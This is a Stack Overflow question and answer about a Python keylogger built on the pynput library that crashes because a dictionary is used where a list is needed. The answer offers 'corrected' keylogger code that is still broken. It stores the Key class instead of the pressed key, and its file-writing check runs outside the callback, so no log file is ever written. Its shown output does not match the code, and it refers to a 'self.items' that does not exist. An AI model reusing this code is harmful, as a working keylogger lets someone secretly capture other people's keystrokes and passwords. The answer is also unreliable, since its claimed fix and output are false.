0

When trying to run my Python key logger script I get the following error message:

  File "C:/Users/PycharmProjects/untitled2/keylogertake3", line 9, in on_press
    keys.append(Key)
AttributeError: 'dict' object has no attribute 'append'  

Process finished with exit code 1

Code:

import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = {}

def on_press(key):
    global keys, count

    keys.append(Key)
    count += 1
    print("({0} pressed".format(key))

if count >= 10:
    count = 0
    write_file(keys)
    keys={}
def write_file(keys):
  with open ("keyloger.txt","a")as f:
    for key in keys:
     f.write(str(key))

with Listener(on_press=on_press)as listener:
    listener.join()

enter image description here

karel
  • 5,489
  • 46
  • 45
  • 50
victor
  • 31
  • 1
  • 9
  • A code dump is not a question, and you should post the error message as text, not an image. Please see [ask]. – kaya3 Feb 22 '20 at 12:45
  • If I vote to reopen then it will just be closed as a duplicate of one of these questions: ['dict' object has no attribute 'append'](https://stackoverflow.com/q/52676526/12299000) / [AttributeError: 'dict' object has no attribute 'append'](https://stackoverflow.com/q/53011623/12299000) / [python add dictionary to existing dictionary - AttributeError: 'dict' object has no attribute 'append'](https://stackoverflow.com/q/48940547/12299000) / ['dict' object has no attribute 'append' Json](https://stackoverflow.com/q/33640689/12299000) / etc. – kaya3 Feb 22 '20 at 13:41

1 Answers1

0

There are numerous errors in this code block.

keys = {} initializes keys to an empty dictionary. A dictionary does not have an append() method because its primary purpose is to associate keys with values. This incorrect line is found in two places in the original code.

To initialize self.items as an empty list instead, modify the assignment to:

keys = []

In addition to this error the indentations are not correct in several lines.

The corrected code is as follows.

import pynput
from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global keys, count
    keys.append(Key)
    count += 1
    print("\n"+"{0} pressed".format(key))

if count >= 10:
    count = 0
    write_file(keys)
    keys = []

def write_file(keys):
    with open ("keyloger.txt","a") as f:
        for key in keys:
            f.write(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

Output:

'a' pressed
a
'b' pressed
b
'c' pressed
c
karel
  • 5,489
  • 46
  • 45
  • 50
  • thanks agian karel just one final thing, the file keyloger i cant find it when i tried deleting it and make ("keyloger.txt","w") but when that happens no file is created any help ? – victor Feb 22 '20 at 12:54